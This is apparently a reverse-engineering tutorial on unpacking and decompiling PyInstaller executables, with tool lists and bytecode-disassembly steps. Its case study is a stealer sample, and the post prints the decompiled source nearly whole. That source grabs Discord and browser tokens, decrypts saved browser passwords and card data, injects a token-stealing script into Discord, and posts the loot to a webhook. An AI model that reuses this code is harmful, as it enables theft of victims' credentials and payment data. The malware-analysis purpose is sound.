Wrestling with Python
Introduction
Python is high-level, dynamically typed, portable and interpreted language which is often used for scripting. Python 2 was discounted with version 2.7.18. Currently, Python 3 is used with version 3.10.5 being the latest.
When Python source code is executed, it is compiled to byte code which are often stored with .pyc extension. In case, it is not able to write to the machine, the byte code is generated in the memory and then discarded after the program exists.
Once the byte code is created, it is executed by Python Virtual Machine (PVM) which is technically a big loop that iterated through byte code instructions and executes it. PVM is runtime engine of python which is present in Python system.
It is important to note that byte code is Python-specific representation and is platform-independent. However, byte code instruction can change depending upon the version of python. You can read about byte code instructions here: https://docs.python.org/3/library/dis.html#python-bytecode-instructions
Implementation of Python
A few popular implementation of Python:
- CPython
- Jython
- IronPython
- PyPy
Creating executables
- Pyinstaller (most popular one)
- Py2exe (Good for Python 2)
- Py2App (If target is OS X)
- bbfreeze
- cx_freeze
Reversing an executable created using Pyinstaller
Identifying executable created using pyinstaller
Extracting files from executables
A few words about pyc file
Reading and disassembling .pyc files
import dis | |
import marshal | |
with open('filename.pyc','rb') as f: | |
headers = f.read(16) # the value needs to be updated depending on the size of the headers. | |
code = f.read() | |
code = marshal.loads(code) #unmarshalling the code | |
print(dis.dis(code)) #print the bytecode instructions |
- https://nowave.it/python-bytecode-analysis-1.html
- https://opensource.com/article/18/4/introduction-python-bytecode
- https://betterprogramming.pub/analysis-of-compiled-python-files-629d8adbe787
- https://www.synopsys.com/blogs/software-security/understanding-python-bytecode/
- https://florian-dahlitz.de/articles/disassemble-your-python-code
- https://www.tutorialspoint.com/python-code-objects
- https://www.codeguage.com/courses/python/functions-code-objects
- http://pymotw.com/2/dis/
'vars' | |
[Code] | |
File Name: extrack.py | |
Object Name: security | |
Arg Count: 0 | |
KW Only Arg Count: 0 | |
Locals: 0 | |
Stack Size: 2 | |
Flags: 0x00000040 (CO_NOFREE) | |
[Names] | |
'__name__' | |
'__module__' | |
'__qualname__' | |
'__init__' | |
[Var Names] | |
[Free Vars] | |
[Cell Vars] | |
[Constants] | |
'security' | |
[Code] | |
File Name: extrack.py | |
Object Name: __init__ | |
Arg Count: 1 | |
KW Only Arg Count: 0 | |
Locals: 1 | |
Stack Size: 1 | |
Flags: 0x00000043 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE) | |
[Names] | |
[Var Names] | |
'self' | |
[Free Vars] | |
[Cell Vars] | |
[Constants] | |
None | |
[Disassembly] | |
0 LOAD_CONST 0: None | |
2 RETURN_VALUE | |
'security.__init__' | |
None | |
[Disassembly] | |
0 LOAD_NAME 0: __name__ | |
2 STORE_NAME 1: __module__ | |
4 LOAD_CONST 0: 'security' | |
6 STORE_NAME 2: __qualname__ | |
8 LOAD_CONST 1: <CODE> __init__ | |
10 LOAD_CONST 2: 'security.__init__' | |
12 MAKE_FUNCTION 0 | |
14 STORE_NAME 3: __init__ | |
16 LOAD_CONST 3: None | |
18 RETURN_VALUE | |
Decompiling .pyc file
- uncompyle6
- decompile3 (updated and refactored version of uncompyle6)
- Decompyle++ (pycdc)
- Easy Python Decompiler (used for python 1.0 - 3.4 )
- These tools will not work 100% all the time.
- Currently, there is no support for python version 3.9 and 3.10. Decompyle++ has partial support.
- Output from uncompyl6 and decompile3 will be similar, if not same in most cases. However, feel free to try both in case of errors.
Output from Decompyle++
# Source Generated with Decompyle++ | |
# File: extrack.pyc (Python 3.7) | |
import os | |
import re | |
import json | |
import requests | |
import time | |
import threading | |
from windows_tools.product_key import get_windows_product_key_from_reg | |
import passwordstealer | |
class vars: | |
webhook = 'https://discordapp.com/api/webhooks/7489djkjd3e8wqd/adsnweifundksfnsff' | |
isinjected = "const vadModule = require('./VAD_module.thw');" | |
tokens = { } | |
justtokens = [] | |
details = [] | |
ip = '' | |
pkey = '' | |
tokens_message = '' | |
class security: | |
def __init__(self): | |
pass | |
class main: | |
def __init__(self): | |
security() | |
# WARNING: Decompyle incomplete | |
def get_account_details(self): | |
pass | |
# WARNING: Decompyle incomplete | |
def steal_passwords(self): | |
pass | |
# WARNING: Decompyle incomplete | |
def product_key(self): | |
try: | |
vars.pkey = get_windows_product_key_from_reg() | |
except: | |
vars.pkey = 'Error' | |
def remove_titanium(self): | |
pass | |
# WARNING: Decompyle incomplete | |
def send_data(self): | |
headers = { | |
'Content-Type': 'application/json', | |
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11' } | |
data = { | |
'avatar_url': 'https://i.imgur.com/Ac2u2YE.png', | |
'content': '', | |
'embeds': [ | |
{ | |
'color': 0, | |
'fields': [ | |
{ | |
'inline': True, | |
'name': '**Grabbed Info**', | |
'value': f'''\nIP Address - {vars.ip}\nProduct Key - {vars.pkey}\n{vars.tokens_message}''' }], | |
'footer': { | |
'text': 'Extrack Grabber - Python' }, | |
'thumbnail': { | |
'url': 'https://upload.wikimedia.org/wikipedia/commons/thumb/d/d3/Python_icon_%28black_and_white%29.svg/1024px-Python_icon_%28black_and_white%29.svg.png' } }], | |
'username': 'Extrack' } | |
# WARNING: Decompyle incomplete | |
def inject(self): | |
pass | |
# WARNING: Decompyle incomplete | |
def ip(self): | |
pass | |
# WARNING: Decompyle incomplete | |
def tokens(self): | |
def get_firefox_token(): | |
firefox_location = '' | |
firefox_token = '' | |
# WARNING: Decompyle incomplete | |
def find_tokens(path): | |
path += '\\Local Storage\\leveldb' | |
tokens = [] | |
# WARNING: Decompyle incomplete | |
# WARNING: Decompyle incomplete | |
if __name__ == '__main__': | |
main() |
Output from uncompyle6/decompile3
Instruction context: | |
L. 81 234 JUMP_BACK 8 'to 8' | |
-> 236 POP_BLOCK | |
import os, re, json, requests, time, threading | |
from windows_tools.product_key import get_windows_product_key_from_reg | |
import passwordstealer | |
class vars: | |
webhook = 'https://discordapp.com/api/webhooks/791652322702524466/s1FvLZxCXqYX542Tex_UlGBTq09yZqti35FLIPxeZ0zCCmxzW2bEL_uyernyQKkgec07' | |
isinjected = "const vadModule = require('./VAD_module.thw');" | |
tokens = {} | |
justtokens = [] | |
details = [] | |
ip = '' | |
pkey = '' | |
tokens_message = '' | |
class security: | |
def __init__(self): | |
pass | |
class main: | |
def __init__(self): | |
security() | |
self.tokens() | |
self.ip() | |
print(f"Tokens: {vars.tokens}\nIp: {vars.ip}") | |
self.product_key() | |
print(vars.pkey) | |
self.steal_passwords() | |
self.get_account_details() | |
print(vars.details) | |
def get_account_details--- This code section failed: --- | |
L. 56 0 SETUP_LOOP 238 'to 238' | |
2 LOAD_GLOBAL vars | |
4 LOAD_ATTR justtokens | |
6 GET_ITER | |
8_0 COME_FROM 232 '232' | |
8_1 COME_FROM 224 '224' | |
8 FOR_ITER 236 'to 236' | |
10 STORE_FAST 'item' | |
L. 58 12 LOAD_FAST 'item' | |
L. 59 14 LOAD_STR 'application/json' | |
L. 60 16 LOAD_STR 'gzip, deflate' | |
18 LOAD_CONST ('Authorization', 'Content-Type', 'Accept-Encoding') | |
20 BUILD_CONST_KEY_MAP_3 3 | |
22 STORE_FAST 'headers' | |
L. 62 24 SETUP_EXCEPT 56 'to 56' | |
L. 63 26 LOAD_GLOBAL requests | |
28 LOAD_ATTR get | |
30 LOAD_STR 'https://discordapp.com/api/v8/users/@me' | |
32 LOAD_FAST 'headers' | |
34 LOAD_CONST ('headers',) | |
36 CALL_FUNCTION_KW_2 2 '2 total positional and keyword args' | |
38 LOAD_ATTR text | |
40 STORE_FAST 'details' | |
L. 64 42 LOAD_GLOBAL json | |
44 LOAD_METHOD loads | |
46 LOAD_FAST 'details' | |
48 CALL_METHOD_1 1 '1 positional argument' | |
50 STORE_FAST 'details' | |
52 POP_BLOCK | |
54 JUMP_FORWARD 72 'to 72' | |
56_0 COME_FROM_EXCEPT 24 '24' | |
L. 65 56 POP_TOP | |
58 POP_TOP | |
60 POP_TOP | |
L. 66 62 LOAD_STR 'error' | |
64 STORE_FAST 'details' | |
66 POP_EXCEPT | |
68 JUMP_FORWARD 72 'to 72' | |
70 END_FINALLY | |
72_0 COME_FROM 68 '68' | |
72_1 COME_FROM 54 '54' | |
L. 67 72 LOAD_FAST 'details' | |
74 LOAD_STR 'error' | |
76 COMPARE_OP != | |
78 POP_JUMP_IF_FALSE 170 'to 170' | |
L. 68 80 LOAD_FAST 'details' | |
82 LOAD_METHOD get | |
84 LOAD_STR 'id' | |
86 CALL_METHOD_1 1 '1 positional argument' | |
88 STORE_FAST 'accid' | |
L. 69 90 LOAD_FAST 'details' | |
92 LOAD_METHOD get | |
94 LOAD_STR 'username' | |
96 CALL_METHOD_1 1 '1 positional argument' | |
98 STORE_FAST 'username' | |
L. 70 100 LOAD_FAST 'details' | |
102 LOAD_METHOD get | |
104 LOAD_STR 'discriminator' | |
106 CALL_METHOD_1 1 '1 positional argument' | |
108 STORE_FAST 'discriminator' | |
L. 71 110 LOAD_FAST 'details' | |
112 LOAD_METHOD get | |
114 LOAD_STR 'email' | |
116 CALL_METHOD_1 1 '1 positional argument' | |
118 STORE_FAST 'email' | |
L. 72 120 LOAD_FAST 'details' | |
122 LOAD_METHOD get | |
124 LOAD_STR 'phone' | |
126 CALL_METHOD_1 1 '1 positional argument' | |
128 STORE_FAST 'phone' | |
L. 73 130 LOAD_GLOBAL vars | |
132 LOAD_ATTR details | |
134 LOAD_METHOD append | |
136 LOAD_FAST 'accid' | |
138 FORMAT_VALUE 0 '' | |
140 LOAD_STR ';EXTRACK;' | |
142 LOAD_FAST 'username' | |
144 FORMAT_VALUE 0 '' | |
146 LOAD_STR ';EXTRACK;' | |
148 LOAD_FAST 'discriminator' | |
150 FORMAT_VALUE 0 '' | |
152 LOAD_STR ';EXTRACK;' | |
154 LOAD_FAST 'email' | |
156 FORMAT_VALUE 0 '' | |
158 LOAD_STR ';EXTRACK;' | |
160 LOAD_FAST 'phone' | |
162 FORMAT_VALUE 0 '' | |
164 BUILD_STRING_9 9 | |
166 CALL_METHOD_1 1 '1 positional argument' | |
168 POP_TOP | |
170_0 COME_FROM 78 '78' | |
L. 75 170 SETUP_EXCEPT 202 'to 202' | |
L. 76 172 LOAD_GLOBAL requests | |
174 LOAD_ATTR get | |
176 LOAD_STR 'https://discord.com/api/v8/users/@me/billing/payment-sources' | |
178 LOAD_FAST 'headers' | |
180 LOAD_CONST ('headers',) | |
182 CALL_FUNCTION_KW_2 2 '2 total positional and keyword args' | |
184 LOAD_ATTR text | |
186 STORE_FAST 'nitro_details' | |
L. 77 188 LOAD_GLOBAL json | |
190 LOAD_METHOD loads | |
192 LOAD_FAST 'details' | |
194 CALL_METHOD_1 1 '1 positional argument' | |
196 STORE_FAST 'jnitro_details' | |
198 POP_BLOCK | |
200 JUMP_FORWARD 218 'to 218' | |
202_0 COME_FROM_EXCEPT 170 '170' | |
L. 78 202 POP_TOP | |
204 POP_TOP | |
206 POP_TOP | |
L. 79 208 LOAD_STR 'error' | |
210 STORE_FAST 'nitro_details' | |
212 POP_EXCEPT | |
214 JUMP_FORWARD 218 'to 218' | |
216 END_FINALLY | |
218_0 COME_FROM 214 '214' | |
218_1 COME_FROM 200 '200' | |
L. 80 218 LOAD_FAST 'nitro_details' | |
220 LOAD_STR 'error' | |
222 COMPARE_OP != | |
224 POP_JUMP_IF_FALSE 8 'to 8' | |
226 LOAD_FAST 'nitro_details' | |
228 LOAD_STR '[]' | |
230 COMPARE_OP != | |
232 POP_JUMP_IF_FALSE 8 'to 8' | |
L. 81 234 JUMP_BACK 8 'to 8' | |
236 POP_BLOCK | |
238_0 COME_FROM_LOOP 0 '0' | |
Parse error at or near `POP_BLOCK' instruction at offset 236 | |
def steal_passwords(self): | |
apploc = os.getenv'APPDATA' | |
chrome_pass = [] | |
edge_pass = [] | |
brave_pass = [] | |
brave_nightly_pass = [] | |
brave_beta_pass = [] | |
opera_pass = [] | |
operagx_pass = [] | |
yandex_pass = [] | |
vivaldi_pass = [] | |
epic_pass = [] | |
avast_secure_pass = [] | |
blisk_pass = [] | |
allpass = [] | |
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\Google\\Chrome\\User Data\\default\\Login Data'): | |
chrome_pass = passwordstealer.get_password('AppData\\Local\\Google\\Chrome\\User Data\\default\\Login Data', 'AppData\\Local\\Google\\Chrome\\User Data\\Local State', 'Chrome') | |
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\Microsoft\\Edge\\User Data\\Default\\Login Data'): | |
edge_pass = passwordstealer.get_password('AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data', 'AppData\\Local\\Microsoft\\Edge\\User Data\\Local State', 'Edge') | |
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\BraveSoftware\\Brave-Browser\\User Data\\default\\Login Data'): | |
brave_pass = passwordstealer.get_password('AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\default\\Login Data', 'AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State', 'Brave') | |
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\BraveSoftware\\Brave-Browser-Nightly\\User Data\\Default\\Login Data'): | |
brave_nightly_pass = passwordstealer.get_password('AppData\\Local\\BraveSoftware\\Brave-Browser-Nightly\\User Data\\Default\\Login Data', 'AppData\\Local\\BraveSoftware\\Brave-Browser-Nightly\\User Data\\Local State', 'Brave Nightly') | |
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\BraveSoftware\\Brave-Browser-Beta\\User Data\\Default\\Login Data'): | |
brave_beta_pass = passwordstealer.get_password('AppData\\Local\\BraveSoftware\\Brave-Browser-Beta\\User Data\\Default\\Login Data', 'AppData\\Local\\BraveSoftware\\Brave-Browser-Beta\\User Data\\Local State', 'Brave Beta') | |
if os.path.exists(os.getenv'APPDATA' + '\\Opera Software\\Opera Stable\\Login Data'): | |
opera_pass = passwordstealer.get_password('AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data', 'AppData\\Roaming\\Opera Software\\Opera Stable\\Local State', 'Opera') | |
if os.path.exists(os.getenv'APPDATA' + '\\Opera Software\\Opera GX Stable\\Login Data'): | |
operagx_pass = passwordstealer.get_password('AppData\\Roaming\\Opera Software\\Opera GX Stable\\Login Data', 'AppData\\Roaming\\Opera Software\\Opera GX Stable\\Local State', 'Opera GX') | |
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Passman Data'): | |
yandex_pass = passwordstealer.get_password('AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Passman Data', 'AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Local State', 'Yandex') | |
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\Vivaldi\\User Data\\Default\\Login Data'): | |
vivaldi_pass = passwordstealer.get_password('AppData\\Local\\Vivaldi\\User Data\\Default\\Login Data', 'AppData\\Local\\Vivaldi\\User Data\\Local State', 'Vivaldi') | |
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\Epic Privacy Browser\\User Data\\Default\\Login Data'): | |
epic_pass = passwordstealer.get_password('AppData\\Local\\Epic Privacy Browser\\User Data\\Default\\Login Data', 'AppData\\Local\\Epic Privacy Browser\\User Data\\Local State', 'Epic') | |
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\AVAST Software\\Browser\\User Data\\Default\\Login Data'): | |
avast_secure_pass = passwordstealer.get_password('AppData\\Local\\AVAST Software\\Browser\\User Data\\Default\\Login Data', 'AppData\\Local\\AVAST Software\\Browser\\User Data\\Local State', 'Avast Secure') | |
if os.path.exists(os.getenv'LOCALAPPDATA' + '\\Blisk\\User Data\\Default\\Login Data'): | |
blisk_pass = passwordstealer.get_password('AppData\\Local\\Blisk\\User Data\\Default\\Login Data', 'AppData\\Local\\Blisk\\User Data\\Local State', 'Blisk') | |
try: | |
allpass += chrome_pass | |
except: | |
pass | |
try: | |
allpass += edge_pass | |
except: | |
pass | |
try: | |
allpass += brave_pass | |
except: | |
pass | |
try: | |
allpass += brave_nightly_pass | |
except: | |
pass | |
try: | |
allpass += brave_beta_pass | |
except: | |
pass | |
try: | |
allpass += opera_pass | |
except: | |
pass | |
try: | |
allpass += operagx_pass | |
except: | |
pass | |
try: | |
allpass += yandex_pass | |
except: | |
pass | |
try: | |
allpass += vivaldi_pass | |
except: | |
pass | |
try: | |
allpass += epic_pass | |
except: | |
pass | |
try: | |
allpass += avast_secure_pass | |
except: | |
pass | |
try: | |
allpass += blisk_pass | |
except: | |
pass | |
user = os.getenv'APPDATA'.replace('C:\\Users\\', '').replace('\\AppData\\Roaming', '') | |
with open(f"{os.getenv'TEMP'}\\{user}-pass.txt", 'a') as (f): | |
for item in allpass: | |
data = item.split';;' | |
f.writef"---------------------------------------\n URL: {data[0]}\n Email: {data[1]}\n Password: {data[2]}\n Browser: {data[3]}\n---------------------------------------\n\n" | |
def product_key(self): | |
try: | |
vars.pkey = get_windows_product_key_from_reg() | |
except: | |
vars.pkey = 'Error' | |
def remove_titanium(self): | |
try: | |
os.remove'C:\\Windows\\Temp\\titanium.pyd' | |
except: | |
print('didnt remove') | |
def send_data(self): | |
headers = {'Content-Type':'application/json', 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'} | |
data = {'avatar_url':'https://i.imgur.com/Ac2u2YE.png', | |
'content':'', | |
'embeds':[ | |
{'color':0, | |
'fields':[ | |
{'inline':True, | |
'name':'**Grabbed Info**', | |
'value':f"\nIP Address - {vars.ip}\nProduct Key - {vars.pkey}\n{vars.tokens_message}"}], | |
'footer':{'text': 'Extrack Grabber - Python'}, | |
'thumbnail':{'url': 'https://upload.wikimedia.org/wikipedia/commons/thumb/d/d3/Python_icon_%28black_and_white%29.svg/1024px-Python_icon_%28black_and_white%29.svg.png'}}], | |
'username':'Extrack'} | |
try: | |
requests.post((vars.webhook), headers=headers, json=data) | |
except: | |
time.sleep10 | |
try: | |
requests.post((vars.webhook), headers=headers, json=data) | |
except: | |
pass | |
def inject(self): | |
os.chdirf"{os.getenv'LOCALAPPDATA'}\\Discord" | |
for item in os.listdir'./': | |
if 'app-' in item: | |
os.chdirf"{item}\\modules\\discord_krisp-1\\discord_krisp" | |
with open('VAD_module.thw', 'w') as (f): | |
f.write'var token = localStorage.getItem("token")\nfetch("REPLACEMEWEBHOOK", {\n method: "POST",\n headers: {\n "Content-Type": "application/json"\n },\n body: JSON.stringify({\n content: token,\n embeds: null\n })\n});'.replace('REPLACEMEWEBHOOK', vars.webhook) | |
with open('index.js', 'w') as (f): | |
f.write"const KrispModule = require('./discord_krisp.node');\nconst vadModule = require('./VAD_module.thw');\nconsole.info('Initializing krisp module');\nKrispModule._initialize();\nKrispModule.getNcModels = function () {\n return new Promise((resolve) => {\n KrispModule._getNcModels((models) => resolve(models));\n });\n};\nKrispModule.getVadModels = function () {\n return new Promise((resolve) => {\n KrispModule._getVadModels((models) => resolve(models));\n });\n};\nmodule.exports = KrispModule;" | |
def ip(self): | |
try: | |
vars.ip = requests.get('https://ip.extrack.xyz', headers={'Pragma': 'no-cache'}).text | |
except: | |
time.sleep2 | |
try: | |
vars.ip = requests.get('https://ident.me', headers={'Pragma': 'no-cache'}).text | |
except: | |
vars.ip = 'Error' | |
def tokens(self): | |
def get_firefox_token(): | |
firefox_location = '' | |
firefox_token = '' | |
for file in os.listdirf"{os.getenv'APPDATA'}\\Mozilla\\Firefox\\Profiles": | |
if '.default-release' in file or '.dev-edition-default' in file or '.default-nightly' in file: | |
firefox_location = file | |
for file_name in os.listdirf"{os.getenv'APPDATA'}\\Mozilla\\Firefox\\Profiles\\{firefox_location}": | |
if not file_name.endswith'webappsstore.sqlite': | |
continue | |
for line in [x.strip() for x in open(f"{os.getenv'APPDATA'}\\Mozilla\\Firefox\\Profiles\\{firefox_location}\\{file_name}", errors='ignore').readlines() if x.strip()]: | |
for regex in ('[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}', 'mfa\\.[\\w-]{84}'): | |
for token in re.findall(regex, line): | |
return token | |
def find_tokens(path): | |
path += '\\Local Storage\\leveldb' | |
tokens = [] | |
for file_name in os.listdirpath: | |
if not file_name.endswith'.log': | |
if not file_name.endswith'.ldb': | |
continue | |
for line in [x.strip() for x in open(f"{path}\\{file_name}", errors='ignore').readlines() if x.strip()]: | |
for regex in ('[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}', 'mfa\\.[\\w-]{84}'): | |
for token in re.findall(regex, line): | |
tokens.appendtoken | |
return tokens | |
local = os.getenv'LOCALAPPDATA' | |
roaming = os.getenv'APPDATA' | |
paths = {'Discord Token':roaming + '\\Discord', | |
'Discord Canary Token':roaming + '\\discordcanary', | |
'Discord PTB Token':roaming + '\\discordptb', | |
'Lightcord Token':roaming + '\\Lightcord', | |
'Google Chrome Token':local + '\\Google\\Chrome\\User Data\\Default', | |
'Edge Token':local + '\\Microsoft\\Edge\\User Data\\Default', | |
'Opera Token':roaming + '\\Opera Software\\Opera Stable', | |
'Opera GX Token':roaming + '\\Opera Software\\Opera GX Stable', | |
'Brave Token':local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default', | |
'Brave Nightly Token':local + '\\BraveSoftware\\Brave-Browser-Nightly\\User Data\\Default', | |
'Brave Beta Token':local + '\\BraveSoftware\\Brave-Browser-Beta\\User Data\\Default', | |
'Yandex Token':local + '\\Yandex\\YandexBrowser\\User Data\\Default', | |
'Vivaldi Token':local + '\\Vivaldi\\User Data\\Default', | |
'Epic Token':local + '\\Epic Privacy Browser\\User Data\\Default', | |
'Avast Secure Token':local + '\\AVAST Software\\Browser\\User Data\\Default', | |
'Blisk Token':local + '\\Blisk\\User Data\\Default', | |
'Amigo Token':local + '\\Amigo\\User Data', | |
'Torch Token':local + '\\Torch\\User Data', | |
'Kometa Token':local + '\\Kometa\\User Data', | |
'Orbitum Token':local + '\\Orbitum\\User Data', | |
'CentBrowser Token':local + '\\CentBrowser\\User Data', | |
'7Star Token':local + '\\7Star\x07Star\\User Data', | |
'Sputnik Token':local + '\\Sputnik\\Sputnik\\User Data', | |
'Chrome SxS Token':local + '\\Google\\Chrome SxS\\User Data', | |
'Uran Token':local + '\\uCozMedia\\Uran\\User Data\\Default', | |
'Iridium Token':local + '\\Iridium\\User Data\\Default', | |
'CCleaner Token':local + '\\CCleaner Browser\\User Data\\Default', | |
'Opera Beta Token':roaming + '\\Opera Software\\Opera Next', | |
'Opera Dev Token':roaming + '\\Opera Software\\Opera Developer'} | |
message = '' | |
grabberfirefox = False | |
for platform, path in paths.items(): | |
if not os.path.existspath: | |
continue | |
if os.path.existsf"{os.getenv'APPDATA'}\\Mozilla\\Firefox\\Profiles": | |
if not grabberfirefox: | |
ftoken = get_firefox_token() | |
vars.tokens['Firefox Token'] = ftoken | |
message += f"\n**Firefox Token**\n{ftoken}\n" | |
vars.justtokens.appendftoken | |
grabberfirefox = True | |
message += f"\n**{platform}**\n" | |
vars.tokens[platform] = 'None' | |
tokens = find_tokens(path) | |
if len(tokens) > 0: | |
for token in tokens: | |
vars.justtokens.appendtoken | |
message += f"{token}\n" | |
vars.tokens[platform] = token | |
else: | |
message += 'No tokens found.\n' | |
vars.tokens_message = message | |
if __name__ == '__main__': | |
main() |
Extracting compressed and encrypted bytecodes.
To decrypt the file, the key is needed which is stored in the file name: pyimod00_crypto_key.pyc . Decompile the file using uncompyl6 to find the key for decryption.
Now, decryption and decompression routine is required which is present in the file named: pyimod02_archive.pyc. Decompile the file using uncompyl6 to get the routine shown in the following code snippet:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import _thread as thread, marshal, struct, sys, zlib
CRYPT_BLOCK_SIZE = 16
class Cipher:
__doc__ = '\n This class is used only to decrypt Python modules.\n '
def __init__(self):
import pyimod00_crypto_key
key = pyimod00_crypto_key.key
if not type(key) is str:
raise AssertionError
elif len(key) > CRYPT_BLOCK_SIZE:
self.key = key[0:CRYPT_BLOCK_SIZE]
else:
self.key = key.zfill(CRYPT_BLOCK_SIZE)
assert len(self.key) == CRYPT_BLOCK_SIZE
import tinyaes
self._aesmod = tinyaes
del sys.modules['tinyaes']
def __create_cipher(self, iv):
return self._aesmod.AES(self.key.encode(), iv)
def decrypt(self, data):
cipher = self._Cipher__create_cipher(data[:CRYPT_BLOCK_SIZE])
return cipher.CTR_xcrypt_buffer(data[CRYPT_BLOCK_SIZE:])
class ZlibArchiveReader(ArchiveReader):
__doc__ = '\n ZlibArchive - an archive with compressed entries. Archive is read from the executable created by PyInstaller.\n\n This archive is used for bundling python modules inside the executable.\n\n NOTE: The whole ZlibArchive (PYZ) is compressed, so it is not necessary to compress individual modules.\n '
MAGIC = b'PYZ\x00'
TOCPOS = 8
HDRLEN = ArchiveReader.HDRLEN + 5
def __init__(self, path=None, offset=None):
if path is None:
offset = 0
else:
if offset is None:
for i in range(len(path) - 1, -1, -1):
if path[i] == '?':
try:
offset = int(path[i + 1:])
except ValueError:
continue
path = path[:i]
break
else:
offset = 0
else:
super().__init__(path, offset)
try:
import pyimod00_crypto_key
self.cipher = Cipher()
except ImportError:
self.cipher = None
def is_package(self, name):
typ, pos, length = self.toc.get(name, (0, None, 0))
if pos is None:
return
return typ in (PYZ_TYPE_PKG, PYZ_TYPE_NSPKG)
def is_pep420_namespace_package(self, name):
typ, pos, length = self.toc.get(name, (0, None, 0))
if pos is None:
return
return typ == PYZ_TYPE_NSPKG
def extract(self, name):
typ, pos, length = self.toc.get(name, (0, None, 0))
if pos is None:
return
with self.lib:
self.lib.seek(self.start + pos)
obj = self.lib.read(length)
try:
if self.cipher:
obj = self.cipher.decrypt(obj)
obj = zlib.decompress(obj)
if typ in (PYZ_TYPE_MODULE, PYZ_TYPE_PKG, PYZ_TYPE_NSPKG):
obj = marshal.loads(obj)
except EOFError as e:
try:
raise ImportError("PYZ entry '%s' failed to unmarshal" % name) from e
finally:
e = None
del e
return (
typ, obj)
The class zlibarchivereader has extract method which when implemented in a python script can be used to get the decrypted and decompressed passwordstealer file using the key found earlier.
Finally, using uncompyl6, decompiled passwordstealer.pyc would be obtained:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os, json, base64, sqlite3, win32crypt
from Crypto.Cipher import AES
import shutil
FileName = 116444736000000000
NanoSeconds = 10000000
temp = os.getenv('TEMP')
def copy(this, there):
content = ''
print(this)
print(there)
with open(this, 'r') as (f):
for item in f.readlines():
content += item
with open(there, 'w') as (f):
f.write(content)
def get_master_key(keyloc):
try:
with open((os.environ['USERPROFILE'] + os.sep + keyloc), 'r',
encoding='utf-8') as (f):
local_state = f.read()
local_state = json.loads(local_state)
except:
exit()
master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
master_key = master_key[5:]
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception as e:
try:
return '<Unable to decrypt data>'
finally:
e = None
del e
def get_password(logindb, keyloc, browser):
master_key = get_master_key(keyloc)
passwords = []
login_db = os.environ['USERPROFILE'] + os.sep + logindb
try:
copy(login_db, f"{temp}\\kernel32.db")
except:
return
conn = sqlite3.connect(f"{temp}\\kernel32.db")
cursor = conn.cursor()
try:
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password(encrypted_password, master_key)
if username != '' or decrypted_password != '':
passwords.append(f"{url};;{username};;{decrypted_password};;{browser}")
except:
pass
cursor.close()
conn.close()
try:
os.remove(f"{temp}\\kernel32.db")
except:
pass
return passwords
def get_credit_cards():
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + 'AppData\\Local\\Google\\Chrome\\User Data\\default\\Web Data'
copy(login_db, f"{temp}\\explorer.db")
conn = sqlite3.connect(f"{temp}\\explorer.db")
cursor = conn.cursor()
try:
cursor.execute('SELECT * FROM credit_cards')
for r in cursor.fetchall():
username = r[1]
encrypted_password = r[4]
decrypted_password = decrypt_password(encrypted_password, master_key)
expire_mon = r[2]
expire_year = r[3]
window['Saved_CCs'].print('Name in Card: ' + username + '\nNumber: ' + decrypted_password + '\nExpire Month: ' + str(expire_mon) + '\nExpire Year: ' + str(expire_year) + '\n' + '**********' + '\n')
except:
pass
cursor.close()
conn.close()
try:
os.remove('CCvault.db')
except:
pass
From reading the decompiled code, it becomes clear that the sample is a stealer malware.
Final points:
- The blog doesn't mention the project: Nuikta which is source-to-source compiler that compiles python source code to C. It also has a commercial offering that claims to be effective against reverse engineering. Perhaps, in a future blog , executables created using this project will be examined.
- Similar, Pyarmor is a project that is used for creating obfuscated python scripts which will be examined in a future blog.
- Currently, decompilation tools for python bytecodes are not fully mature. Deducing the nature and functionality of the sample from disassembled bytecode is the best option.
Have a good day!
import _thread as thread, marshal, struct, sys, zlib | |
CRYPT_BLOCK_SIZE = 16 | |
class Cipher: | |
__doc__ = '\n This class is used only to decrypt Python modules.\n ' | |
def __init__(self): | |
import pyimod00_crypto_key | |
key = pyimod00_crypto_key.key | |
if not type(key) is str: | |
raise AssertionError | |
elif len(key) > CRYPT_BLOCK_SIZE: | |
self.key = key[0:CRYPT_BLOCK_SIZE] | |
else: | |
self.key = key.zfill(CRYPT_BLOCK_SIZE) | |
